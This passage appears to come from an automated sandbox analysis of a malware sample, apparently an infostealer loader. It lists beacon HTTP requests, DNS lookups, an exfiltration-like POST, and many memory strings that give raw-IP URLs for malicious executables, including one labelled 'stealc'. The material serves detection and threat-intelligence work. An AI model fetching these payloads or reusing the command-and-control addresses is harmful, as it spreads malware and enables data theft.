Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: file-link-iota.vercel.app
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: bftexwm.com
Source: global traffic	DNS traffic detected: DNS query: stadiatechnologies.com
Source: global traffic	DNS traffic detected: DNS query: gCmUfnfZJOKMjo.gCmUfnfZJOKMjo
Source: global traffic	DNS traffic detected: DNS query: kKUNXsFvNT.kKUNXsFvNT

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAEHDBFIDAFIDHJEBFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: public, max-age=0, must-revalidateContent-Length: 39Content-Type: text/plain; charset=utf-8Date: Fri, 30 Aug 2024 01:17:06 GMTServer: VercelStrict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Vercel-Error: NOT_FOUNDX-Vercel-Id: iad1::52mdx-1724980626750-65f1a5042139Connection: close

Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upus
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upusC:
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#mene
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneC:
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneK
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneR
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#menep
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1C:
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1lll
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c6def3f0546_sss.exe
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c6def3f0546_sss.exeC:
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c6def3f0546_sss.exeDt
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe#upus
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exeC:
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exes
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exe
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exe-
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exe-9k
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exe;
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exee
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exeia
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exex
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacec
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacece
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spaceC:
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spaceD
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spaceel
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exeL
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exece;
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeq
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ce0607d9a38_stealc_cry_20240827195929.exe#kiscrypto
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xinC:
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xine
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xineB
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xinecebu
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xinq
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xins
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80hellohttps://steamcommunity.com/profiles/76561199761128941b
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.134/Edge/PENDXGKW.exe
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.134/Edge/PENDXGKW.exeC:
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.134/Edge/PENDXGKW.exeImpressedHub.exelk
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.134/Edge/PENDXGKW.exel
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exe
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exeC:
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exeI
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exeL
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exel
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exemj
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000851000.00000004.00000020.00020000.00000000.sdmp, simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/2
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/46122658-3693405117-2476756634-1002
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/ows
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3076164875.0000000003637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1
Source: simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/vhT
